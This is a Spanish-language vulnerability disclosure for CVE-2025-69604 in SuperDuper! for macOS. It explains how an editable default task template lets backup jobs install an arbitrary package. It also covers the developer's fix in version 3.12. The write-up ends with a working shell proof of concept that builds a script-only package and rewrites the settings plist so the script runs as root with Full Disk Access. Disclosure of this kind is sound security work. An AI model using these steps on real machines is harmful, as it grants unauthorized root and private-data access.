
Exploit de prueba de concepto para CVE-2025-69604, que demuestra la escalada de privilegios mediante la instalación de paquetes maliciosos en tareas de copia de seguridad de SuperDuper en macOS.
Esta vulnerabilidad es similar a la descrita en CVE-2025-61229 – un atacante puede editar la plantilla de tareas para que las tareas de copia de seguridad de SuperDuper instalen un paquete arbitrario. El paquete puede entonces ejecutar scripts de shell como usuario root y con el nivel más alto de acceso a la privacidad (acceso total al disco).
Puntuación CVSS 3.1: La puntuación NVD está pendiente.
Para evitar esta vulnerabilidad, elimine la aplicación SuperDuper! o aplique la actualización 3.12.
Este análisis de exploit y prueba de concepto se proporciona únicamente con fines educativos. Úselo bajo su propio riesgo.
En mi análisis anterior de la vulnerabilidad CVE-2025-61229 de SuperDuper, encontré que la plantilla de configuración predeterminada de SuperDuper seguía siendo inherentemente insegura incluso después de que el desarrollador abordara esa vulnerabilidad en la actualización 3.11 de SuperDuper. Esa actualización abordó solo la vulnerabilidad específica detallada en CVE-2025-61229, pero no abordó el hecho de que un atacante pudiera modificar la plantilla de tareas predeterminada. Desafortunadamente, la plantilla de tareas incluye funcionalidad para instalar paquetes, por lo que un atacante puede modificar la plantilla de tareas para especificar un paquete que pueda instalar software o ejecutar scripts de shell como usuario root y con acceso total al disco.
El desarrollador mitigó esta vulnerabilidad eliminando la funcionalidad de "instalar paquete". Nuevamente, la plantilla de configuración de tareas aún puede ser modificada por un atacante, e incluso el desarrollador indicó que esto no podría resolverse sin molestar al usuario (es decir, requerir que el usuario se autentique cada vez que se modifique la tarea). Por lo tanto, parece que la plantilla de tareas predeterminada permanecerá vulnerable a modificaciones en el futuro previsible porque el desarrollador no pudo encontrar otra forma de hacerla más segura.
Vale la pena repetir mi conclusión anterior: Los privilegios de root y el Acceso Completo al Disco son los privilegios más altos que el software puede alcanzar en macOS. Cualquier desarrollador que solicite esos privilegios debería escribir software que cumpla con los principios de diseño de seguridad modernos y las mejores prácticas. Esta vulnerabilidad, así como las expuestas en CVE-2025-57489 y CVE-2025-61228, e incluso la propia admisión del desarrollador de que estos problemas han persistido durante 22 años, demuestran que SuperDuper no fue diseñado para ser un producto seguro, y no ha tenido mejoras de diseño regulares durante 22 años para adherirse a las mejores prácticas modernas.
Esta vulnerabilidad se ataca de casi exactamente la misma manera que CVE-2025-61229, por lo que me remito en gran medida a mi análisis anterior de esa vulnerabilidad aquí. La siguiente Prueba de Concepto demuestra el exploit con la versión 3.11 de SuperDuper:
mkdir -p /tmp/scripts
cd ~; export home=`pwd`; export user=`whoami`
printf '#!/bin/bash\n' > /tmp/scripts/preinstall
printf "ls -l $home/Desktop > /Library/private_data.txt\n" >> /tmp/scripts/preinstall
chmod a+x /tmp/scripts/preinstall
pkgbuild --identifier com.gray.sdexploit --nopayload --scripts /tmp/scripts /tmp/attack.pkg
cd ~/'Library/Application Support/SuperDuper!/Saved Settings/.Default Settings.sdsp'
cp 'Session Settings.sdss' Settings.plist
defaults write "`pwd`"/Settings.plist SDshouldInstallPackage -bool YES
defaults write "`pwd`"/Settings.plist SDinstallerPackage /tmp/attack.pkg
cp Settings.plist 'Session Settings.sdss'
Después de completar esos comandos, simplemente ejecute una copia de seguridad con la configuración predeterminada y el attack.pkg se instalará con privilegios de root y acceso total al disco. El resultado final es un archivo llamado "private_data" en /Library (es decir, escribible solo por root) que contiene un listado de su carpeta de Escritorio (es decir, solo puede ser accedido por código que se ejecute con acceso total al disco).